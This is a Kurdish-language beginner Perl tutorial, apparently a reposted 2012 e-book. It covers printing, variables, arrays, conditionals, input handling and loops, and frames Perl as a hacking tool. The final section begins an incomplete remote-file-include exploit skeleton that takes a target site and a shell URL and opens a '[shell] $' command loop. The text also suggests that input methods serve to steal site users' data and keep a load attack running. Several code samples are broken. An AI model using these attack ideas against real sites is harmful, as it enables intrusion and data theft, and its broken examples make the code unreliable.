Programing

فێربوونی پێڕڵ بە زمانی کوردی

By Dlovan

کـتـێـب : فــێــربــوونــی زمــانــی پــێـڕڵ

نووسەری کتێب : دلۆڤان بەختیار محمد کریم

ساڵی بەرهەمێهانی : 2012

ناوەڕۆکی کتێبکەکە :

وە چەندینی تر بە خوێندنەوەی کتێبەکە زیاتر ئاشنا ئەبیت بە پێڕڵ ....

بۆ یەکەم جارە لە کوردستان زمانی پڕۆگرام سازی پێڕڵ بە زمانی شیرینی کوردی بڵاوئەبێتەوە ....

لە لایەن >>>>>>>>>

دلۆڤان بەختیار (Dlovan-IT)

زانيــارى

پێرل (PERL) كورتكراوەى وشەى (Practical Extraction and Report Language) ئەم زمانە لەسەر سیستەمی Unix ئیش ئەكات ، لە سەردەمی ئەمرۆی تەكنەلۆجیادا پێرل زۆر پەرەی پێئەدرێت و هەوڵ ئەدرێت لەسەر هەموو Operating System ئەكان ئیشی پێبكرێت چونكە ئەمیش هەژمار ئەكرێت بە یەكێك لە زمانەكانی پرۆگرامینگ ، پێرل زمانێكی بێهاوتایە لە ناو زمانەكانی پرۆگرامینگ و زۆر ئاسانە بۆ فێربوون و بەكارهێنانی ، كۆدەكانی پێرل بۆ چ شتێك بە سوودە ؟ پێرل زۆر بێهاوتایە و بە توانایە لە زانستی هاكینگدا لە 70% ی ئێكسپلۆیتەكانی هاك بە زمانی پێرل دروستكراوە و داڕێژراوە ، هۆی ئەوە چیە كە هاكەرەكان كۆدەكانی ئێكسپلۆیت بە زمانی پێرل ئەنووسنەوە ؟ لە بەر ئەوەی زمانی پێرل زمانێكی ئاسانە و وە لە كار و فرمانیشدا زۆر خێرا گەشەئەكات و ڕۆژ بە ڕۆژ تازەگەری بە خۆیەوە ئەبینێت ، ئەگەر ئێمە بمانەوێت هەڵەیەك یان هێرشێك بكەینە سەر ماڵپەڕێك و هەلەكەی بدۆزینەوە ئەوە پێرل یەكێكە لە هەرە بەهێزترین زمانەكان باشە ئەگەر ئێستا من ئەم كتێبە بخوێنمەوە ئەبمە یەكێك لە هاكەرزە بەهێزەكان ؟

نەخێر ناتوانیت چونكە ئەمە تەنها سەرەتایەكی سادەیە و من پێرڵت پێئەناسێنم نەوەك تۆ خۆت بتوانیت داییرێژیت و داهێنان بكەیت ، ئەی باشە چۆن ببمە ئەو كەسەی كە بتوانم زۆر شارەزا ببم لە بواری هاكدا و شارەزایم هەبێت لە زمانی پێرل ؟ بۆ ئەم پرسیارە ئەبێت چاوەڕێی من بكەیت تا ئەو كات فێرت ئەكەم چۆن ئەبیتە ئەو كەسە .... چاوەڕانی زیاتر بە ....

بنچینەی دەست پێکردن

زۆر باشە سەرەتا پێش ئەوەی فێری پێرل ببیت پێویستە بەرنامەکە دابمەزرێنین کە پێی ئەوترێت بەرنامەی Active Perl .

پێداویستی ئیش پێکردنی پێرڵ :

- بەرنامەی Active Perl ئەم بەرنامەیە بۆ مەبەستی ئەکتیڤ کردنی پێرل بەکاریەت چونکە سیستەمی ویندۆس وەك سیستەمی لینۆکس و سیستەمی Unix نیە جیاوازیان هەیە بۆ نموونە ئەگەر ئێستا ئێمە لەسەر سیستەمی Unix ئیش بە پێرل بکەین ئەوە پێویستمان بەو بەرنامەیە نیە بەڵکو یەکسەر ئیش ئەکات بەس سیستەمی ویندۆس پێویستی بەو بەرنامەیە هەیە بۆیە ئەبێت دایبگریت لەم لینکەوە دایبگرە کە سایتی سەرەکی خۆیانە

http://www.activestate.us./

وە شێوازی دابەزاندنی ئاسانە وەك هەر بەرنامەیەکی تری سادەی کۆمیوتەر دایبەزێنەرە ناو کۆمپیوتەرەکەت .

- دووەم بەرنامە کە پێویستە هەبێت لە ناو کۆمپیوتەرەکەت بۆ ئەوەی پێرل ئیش پێبکەیت بریتیە لە سۆفت وێری Notepad کە ئەمەیان لە ناو هەموو کۆمپیوتەرێك هەیە واتە ئەمە پێویست بە داگرتنی ناکات بۆ کردنەوەی Notepad ئەوا ئەم هەنگاوانە جێبەجێ بکە :

Start >>>> All Program >>>> Accessories >>>> Notepad

باشە وە فۆرماتی پێرل بریتیە لە .pl واتە ئەمە بریتیە لە ئێکستێنشنی کۆدی پێرڵ بۆ نموونە ئەگەر ئێمە کۆدێك بنووسین لە ناو Notepad ئەوا پێویستە ئەو کۆدە خەزن بکەین ئەویش بە پاشگری .pl خەزنی ئەکەین و یەکسەر پێرل ئەکەوێتە ئیش .

ئێستاش یەکەم کۆد تاقی ئەکەینەوە و ئەکەوینە جیهانی پێرلەوە پێرل زمانێکی ئەوەندە دژوار نیە نەتوانیت فێری ببیت هەموو شتێك سەرەتا قورسە بەس کە دەستت پێکرد ئاسان ئەبێت هەموو زمانێکی کۆمپیوتەریش سەرەتا کەمێك قورسە بەس کە دەستت پێکرد ئەوە ئاسان ئەبێت ، ئێستا بۆ نموونە ئەگەر ئێمە وشەی "Hallow World" پرێنت بکەین و بیکەینە بەرنامە و لە

پێرل ئەنجامی بدەین ئەوە سەرەتا Notepad بکەرەوە ئەم کۆدەی تێدا دابنێ

```
#!/usr/bin/perl -w
print "Hello World\n";
```

پاشان خەزنی بکە بە پاشگری pl. بۆ نموونە وەك ئەمە first.pl پاشان برۆ دۆس بکەرەوە بەم ڕێگەیە

Start >>>> run >>> CMD

پاشان بنووسە perl first.pl ئێستا یەکسەر ئەنجامەکەی ئەبینیت .
ئێستا با سەیرێکی کۆدەکە بکەین و بزانین ئەوە چیە کردوومانە ....

ریزی یەکەم کە ئەمەیە (#!/usr/bin/perl -w) ئەمە کۆدێکی جێگیرە و پێویستە لە ناو هەموو کۆدێکی پێرڵ هەبێت واتە لە سەرەتای هەموو کۆدێکی پێرل ئەوە پێویستە ئەوە بنووسرێت .
وە هەروەها وشەی (w-) کە لە دوای کۆدە جێگیرەکەوە هاتووە ئەوە بریتیە لە کۆدێکی زۆر گرنگ کە بەکاریەت بۆ گەران بە دوای ئیرۆری کۆدەکان واتە بۆ نموونە ئەگەر بێت و ئێمە کۆدێکی پێرل بنووسین ئەوە ئەگەر بێت و ئێمە هەڵەمان لە کۆدەکە کردبێت ئەوە یەکسەر پێمان ئەڵێت کە کۆدە هەڵەیە و ئەمە شێوازە ڕاستەکەیەتی واتە ئەو کۆدە وەك مامۆستایەك وایە بۆت لە پێرڵدا .
ڕیزی دووەم کە نووسیمان (print "Hello World\n";) ئەوا وشەی Print بریتیە لە نیشاندان واتە ئەگەر بتەوێت ئەنجامی هەر چ شتێك پیشان بدرێت ئەوە پێویستە ئەو کۆدە بنووسرێت وە لە ناو دەبڵ کۆتەیشن ئەنووسرێت ("") واتە ئەو شتەی کە تۆ مەبەستە پیشان بدرێت لە ناو ئەو دەبڵ کۆتەیشنە ئەنووسرێت .
وە وشەی (n\) مان نووسیوە ئەوە مەبەست لە دێرێکی تازەیە واتە لە دێرێکی نوێ ئەینووسێت کە ئەوە پێی ئەوترێت Character واتە پیت ئەمانە کۆمەڵێك Character ن کە لە زمانی پێرڵدا ئەنووسرێت

Character	ماناکەی
************	*******
\n	دێرێکی نوێ
\r	گەڕاندنەوە
\t	تابێکی نوێ
\b	بۆ Backspace
\v	بۆ نووسینی تابەکان بە شێوەی ستوونی
\e	بۆ Escape
\a	بۆ کاتژمێر

\L	lower case All
\l	lower case Next
\U	Upper Case All
\u	Upper Case first

ئێستا بۆ زیاتر ئاشنا بوون بە چارەکتەرەکان ئەوە ئەم نموونەیەتان ئەهێنمە بەرچاو

```
#!/usr/bin/perl -w
print "Hello\tWorld\n\a";
```

باشە بەس یەك تێبینی گرنگ هەیە کە پێویستە بیزانیت ئەویش ئەوەیە کەوا پێویستە لە کۆتایی هەموو کۆدێکی پێرڵ دایبنێیت چونکە ئەگەر ئەو کۆدە نەبێت ئەوە کۆدەکەت بۆ رەن ناکات بۆیە پێویستە تۆ دایبنێیت واتە پێی ئەڵێیت تەواو ئەمە کۆتایی ئەو کۆدەیە و برۆرە سەر کۆدێکی تر .

ئێمە لە زۆربەی زمانەکانی تری پرۆگرامسازی Variable مان هەیە وە بە هەمان شێوەش لە پێرڵدا Variable مان هەیە بۆ تەعریف کردنی ڤاریەبڵێك ئەوە ئەم وشەیە ئەنووسین ($) پاشان ناوی Variable مکە ئەنووسین سەیرێکی ئەم نموونەیە بکە کە بۆم ئامادە کردوون بۆ زیاتر تێگەیشتن و زانیاری زیاتر لەسەری

```
#!/usr/bin/perl -w
$Hello = "Hello World\n";
print $Hello;
```

بینیت ئەوە یەکێکە لە جۆرەکانی چۆنیەتی داخڵ کردنی variable سەرەتا ئێمە نووسیومانە $Hello واتە ناوی Variable مکە بریتیە لە Hello وە لە Hello شدا ئەم نووسینەمان هەیە ("Hello World\n";) پاشان نووسیومانە print $Hello; واتە ئێستا ئەم نووسینەت بۆ پرێنت ئەکات و پێت نیشان ئەدات Hello World .

وە بۆ نووسینی کۆمێنت لە پێرڵدا ئەوا ئەم کۆدە بەکاریەت (#<----) ،
مەبەست لە کۆمێنت چیە ؟

ئەها کۆمێنت واتە نووسینی تێبینی لەسەر کۆدێك زۆرێك لە پرۆگرامە سەرەتایی و ناوەندەکان یاخود زۆر جاریش شارەزاکان گرنگ بەمە نادەن بەڵام ئەمە خۆی شتێکی زۆر پێویستیە کە دابنرێت بۆ نموونە ئێمە کۆدێکمان نووسیوە و پاشانیش دوای ئێمە کەسێکی تر یەت کۆدەکە تاقی ئەکاتەوە و ئیشی لەسەر ئەکات بۆ ئەوەی ئەو کەسە بە تەواوی لە کۆدەکە تێبگات و ئاسانکاری تەواو بکات ئەوە پێویستە ئێمە تێبینیەکی بچووك بدەین لەسەر کۆدەکە بۆ نموونە ئەنووسین ئەم کۆدە بەکاردێت بۆ نووسینی ناوی خۆت ئەوا ئێمە ئەینووسین بۆیی ئەمەش نموونەیەك لەسەر بەکارهێنانی

```
#!/usr/bin/perl -w
#<----The "#" sign is not interpreted in perl code, its used for comments
$YourName = "YOURNAME" ; #Append variable $YourName
print "Hello" . " " . "World" . " " . "My" . " " . "Name" . " " . "Is" . " " . "$YourName".

"\n";
```

مەزانە ئەم كۆدە زۆرە و قورسە بەڵكو زۆر ئاسانە ببینە ئێمە چۆن كۆدەكەمان دورست كردووە و ڕوونكردنەوەمان لەسەری داوە ، سەرەتا ئێمی Variable ێكمان تەغریف كردووە بە ناوی YourName پاشان پرێنتی Hallow my name is your name مان كردووە و تەواو بەس ئەوەیە كە لەسەرەوە ڕوونكردنەوەمان لەسەر ئەو دێرە داوەو و تەواو ئەویش بە هۆی كۆدی #<---- .

ئەمەش نموونەیەكی تر لەسەر كرداره بیركاریەكان

```
#!/usr/bin/perl
#Adding, Subtracting, Multiplying, and Dividing in Perl
#Perl can do all basic math functions and more.
$a = 3 + 5 ; #Addition
$b = 5 * 5; #Multiplication
$c = 10 / 2 ; #Division
$x = 12 - 5; #Subtraction
print $a . " " . "ADDITION: The solution should be 8.\n";
print $b . " " . "MULTIPLICATION: The solution should be 25.\n";
print $c . " " . "DIVISION: The solution should be 5.\n";
print $x . " " . "SUBTRACTION: The solution should be 7.\n";
#Autoincrementing and Autodecrementing
$Count = $Count + 1;
print "$Count\n";
#The Same Thing but easier to read
$Count1 += 1 ; #Decrement $Count1 -=1 1
print "$Count1\n";
#Square Root
$Square = sqrt(121) ;
print "The square root of 121 is $Square\n";
#Exponents
```

```
$Exp = 2**5 ;
print "$Exp\n";
```

Arrays

Array پێویستی به به variable نیە واتە وەك ڤاریەبڵ نیە ، کەواتە ئیشی Array ئەوەیە ئێمە نرخێك هەڵئەگرین ئینجا ئەوەتا ئەو نرخە ئێستا بەکاری ئەهێنیت یان هەر کاتێك کە تۆ پێویستت پێی هەبێت بەکاری بهێنیت ، ئێستا ئێمە لێرەدا نموونەیەك ئەخەینە بەرچاو کە وشەی Hallow World پرێنت ئەکەین بەڵام بە شێوەی Array ببینە :

```
#!/usr/bin/perl -w
@Hello = ('Hello', 'World'); #Arrays use the @ symbol, like a
variables "$".
print join(' ', @Hello) . "\n";
```

Array یەکەمان بریتیە لە "@Hello" ئێمە لێرەدا دوو نرخمان داوەتێ یەکەمیان بریتیە لە "Hello" وە دووەمیشیان بریتیە لە "World" ئێمە ئەتوانین لە Array دا چەند نرخمان بوێت دەیدەینێ هاوکێشەی کۆتایی کە Jion مان کردووە ئەوە بریتیە لە پیشاندانی ئەنجامی Array یەکە ئەتوانین چەند شتمان هەبێت لە Array یەکەدا ئەو لەو رستەیە هەمووی پیشان بدات وە چەندینی تر بەس بە هۆی Method ی جیاوازەوە سەیرێکی ئەم نموونەیە بکە :

```
#!/usr/bin/perl -w
#The Split Method
$Sentence = "Hello my name is Dlovan.";
@Words = split(/ /, $Sentence) ;
print "@Words" . " " . "That was splitting data" . "\n";
#The Longer Way
@Hello = ('Hello', 'World');
print $Hello[0] . " " . $Hello[1] . "\n";
#Count starts at 0 so 'Hello' = 0 and so on
```

لەم نموونەیەی سەرەوەدا چەند میتۆدێکمان بەکارهێناوە ئەم وشەیە @words ئەوە بە مەبەستی بوونی Space بەکارمان هێناوە وە پاشان ئەوانەی دوای ئەو کە دێن ئەوە بە مەبەستی میتۆدی تر بەکاردێن و بە شیوەی جیاواز بەکارهاتوون ئەمەش نموونەیەکی تر لەسەر Array بە وریایەوە نموونەکە بخوێنەرەوە و لێی تێبگە

```
#!/usr/bin/perl -w
@array = qw(dlovan );
print join(' ', @array);
#Simple
```

هەموو ئەمانەی کە لە سەرەوە بەکارمان هێناو هەموویان Array بوون کە بینیتان بە چەندین شێوە بەکاردێت و ئەتوانین بیان نووسین بە شێوەی جیاواز و هەمووشیان یەك کارمان بۆ دەکەن .

Conditionals

Conditionals واتە ڕستەی مەرجی : ڕستەی مەرجیش بە دوو شێواز دەردەبڕدرێت بە هەر یەك لەم شێوازانە (IF Or Then) ئەمە شتێکە کە لە هەموو زمانی پڕۆگرامینەکانی کۆمپیوتەر هەیە ، ڕستەی مەرجی شتێکی کی لە زۆربەی کاتەکانی ژیانی مرۆڤیشدا بەکاریەت بۆ نموونە سەیرێکی ئەمە بکە

پێش ئەوەی نموونەیەك بهێنینەوە ڕستەی سەرەکی مەرجی بەم شێوەیە ئەنووسرێت

```
if ( Logical ) { Then... }
```

ئەمەش نمونەکە

```
#!/usr/bin/perl -w
Si = 1;
if($i ==1) {
```

ڕستەی مەرجی هەمیشە String ی لەگەڵ بەکاریەت بۆ ژمارە ئەم نموونەیە بە وردی بخوێنەرەوە

```
#!/usr/bin/perl -w
$i = Hello;
if($i eq 'Hello') {
print "Hello!\n";
}
else{
print "The variable (i) doesn't equal the correct string!\n";
} #Change the value of $i to anything (else) and it will use the (else) statement
Instead
```

لەم کۆدەی سەرەوەدا else یشمان بەکارهێناوە وشەی else کاتێك بەکاردێت ئەگەر هاتوو هەر یەك لە دەستەواژەکانی If-Then ڕاست نەبوون ئەوا ئەو کاتە وشەی else ئیشی خۆی ئەکات تۆ خۆت ئەتوانیت تاقی بکەیتەوە لەسەر ئەو نموونەیەی کە من داناوە لەسەرەوە تۆ ئەتوانیت سوود لە وشەکان وەربگریت و بە ئارەزووی خۆت بیان گۆڕیت ئەمە ڕستەی مەرجی قەشەنگ بوو لە پێڕلدا .

Gathering User Input

User Input لە ئێکسپلۆیتدا بەکاردێت سوودی ئەمە چیە ؟ سوودی ئەمە بەکاریەت بۆ کۆکردنەوەی هەموو بەکارهێنەرەکانی سایتێك بە هۆی پێرلەوە کە ئەتوانێت بە هۆیەوە هەموو زانیاریەکانی دزە پێبکات و هەموویان بە دەست بهێنییت ، ئێستا لێرە نموونەیەك ئەهێنینەوە کە پێی ئەڵێن STIDN کە بەکارهێنەرەکان کۆئەکاتەوە و زانیپاریەکان ئەهێنێت

```
#!/usr/bin/perl -w
#STDIN Method
print "Hello my name is Warpboy, what is your name?: ";
$L1 = <STDIN>;
chomp $L1;
print "Nice to meet you $L1!\n";
```

لە ڕیزی یەکەمدا سەرەتا ڤاریەبڵێکمان تەعریف کردووە $L1 پاشان ئەو ڤاریەبڵەمان بە وشەی chomp ناساندووە پاشان لە کۆتایەکەیدا بە ڕیزێکی تازەوە پرێنتی ئەم ڕستەیەمان بۆ ئەکات Nice to meet you .

وە بە هەمان شێوە مۆتۆدێکی ترمان هەیە بە ناوی @ARGV کە ئەمەشیان بە زۆری لە شێوەی ئێکسپلۆیت بەکاریەت بۆ نموونە تۆ لۆدێکی زۆر ئەخەیتە سەر سایتێك ئەوە بۆ ئەوە بەماریەت وا ئەکات لۆدکە بەردەوام بێت ئێستا سەیرێکی ئەم نموونەیەش بکە بۆ زیاتر تێگەیشتن لەم میتۆدەش

```
#!/usr/bin/perl -w
if(@ARGV !=2) {
print "Usage: perl $0 <name> <number>\n";
```

```
exit;

}
($name, $num) = @ARGV;
print "Hello $name & your number was: $num!\n";
```

لێرەدا Argument مان بەکارهێناوە کە بریتیە لە هەر یەك لە $name, $num وە نرخی هەردووکیشیان لە @ARGV خەزن ئەبێت دواتریش پرێنتی ئەو شتەمان بۆ ئەکات کە خۆمان ئەمانەوێت .

زۆرباشە ئێستا ئێمە باس لە میثۆدێکی تر و ڤاریەبڵێکی تر ئەکەم بۆ ئێوە ە ئەویش بە هەمان شێوە بەکاریەت بۆ داخڵ کردنی بەکارهێنەر کە بریتیە لە GetOpt زۆر بە وردیەوە سەیری ئەم نموونەیە بکە

```
#!/usr/bin/perl -w
#GetOpt STD module
use Getopt::Std;
getopts (":b:n:", \%args);
if (defined $args{n}) {
$n1 = $args{n};
if (defined $args{b}) {
$n2 = $args{b};
}
if (!defined $args{n} or !defined $args{b}){
print "Usage: perl $0 -n Name -b Number\n";
exit;
}

print "Hello $n1!\n";
print "Your number was: $n2\n";
print "Visit today!\n\n";
```

Loops

ئەونەدە لەسەر Loop ناڕۆم بەڵام ئەگەر تۆ پێشتر زمانێکت زانیوە و پرۆگرامەر بوویت ئەوە شتێکی ئاسانە تەنها بە سەیرکردنی ئەم نموونەیە هەموو شتێك ئەزانیت .

```
#!/usr/bin/perl

#Loop Tutorial

#By Warpboy

#While Loops

#Format

# while (Comparison) {

# Action }

#While loops will loop while the comparison is true, if it changes to false, it will no

longer continue to loop through its set of action(s).

$i = 1;

while($i <= 5) {

print "While:" . $i . "\n";

$i++;

}

#For Loops

#Format

# for (init_expr; test_expr; step_expr;) {

# ACTION }

##
```

Init expression is done first, then the test expression is tested to be true or false

then -

the step expression is executed.

```
for($t = 1; $t <= 5; $t++) {

print "For:" . $t . "\n";

}
```

نووسینی ئێکسپلۆیت

تەواو ئێستا تۆ لە هەموو کۆدەکان شارەزایت پەیدا کرد و ئیتر کاتی ئەوەیە کەوا فێری نووسینی ئێکسپلۆیت ببییت هیچ شتێك مەحاڵ نیە ئەگەر بێت و هەولی بۆ بدەیت بۆیە ئێستاش ئتیر تۆ بۆ خۆت ئەتوانیت ئێکسپلۆیت بنووسیت .

ئێکسپلۆیت بریتیە لە کۆدی RFI (Remote File Include) کە دۆرززاوەتەوە لە لایەن TIMQ . زۆرباشە ئێستا با بچین یەکەم ئێکسپلۆیت دروست بکەین .....

سەرەتا پێ،یستمان بە USER Input هەیە بۆ ئەم مەبەستە بەم شێوەیە دروستی ئەکەین

```
#!/usr/bin/perl
$site = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];

if($site!~/http:\/\// || $site!~/http:\/\// || !$shellsite) #checks the validity of the inputted
url
{
usg() # If the usr inputted url is invalid jump to the usg subrountine
}
header(); # Run the header subrountine
```

پاشان پێویستمان بە خولانەوەیەك هەیە واتە LOOP بەم شێوەیە دروستی ئەکەین

```
while()
{

print "[shell] \$";
while(<STDIN>)

{
$cmd=$_;

chomp($cmd);
```

ئەمە یەكێكە لە ئێكسپلۆیتەكانی پێڕل ئێوە خۆتان ئەتوانن زیارت پەرەی پی بدەن و شتی باشتر بكەن .

كۆتا ووتەم بۆ ئێوە ئەوەیە كە بە هیوام كتێبەكەتان بە دڵ بـێت و سوودی لێببینن ببورن كە هەندێك شتم باس نەكرد چونكە مەجالم نەبوو بە هۆی كاتەوە بەس ئێوە ئێستا فێربوون كە بنچنەی پێڕڵ چیە و چۆن ئیش ئەكات هەندێك ڤیدیۆش هەیە لەسەری لە سایتی Youtube ئەشتوانن سودیان لێوەربگرن .

سەرچاوەكان :

http://www.cpan.org

http://www.securitydb.or

http://www.programmingtutorials.com/perl.aspx

http://www.pageresource.com/cgirec/index2.htm

http://www.cclabs.missouri.edu/things/inst...perlcourse.html

http://www.ebb.org/PickingUpPerl/pickingUpPerl_toc.html

http://vsbabu.org/tutorials/perl/

http://www.thescripts.com/serversidescript...guru/page0.html

http://www.perl.com/pub/a/2002/08/20/perlandlwp.htm

http://www.perl.com

http://www.perlmonks.org/index.pl?node=Tutorials

هەمیشە چاوەڕوانی شتی زیارت بن ....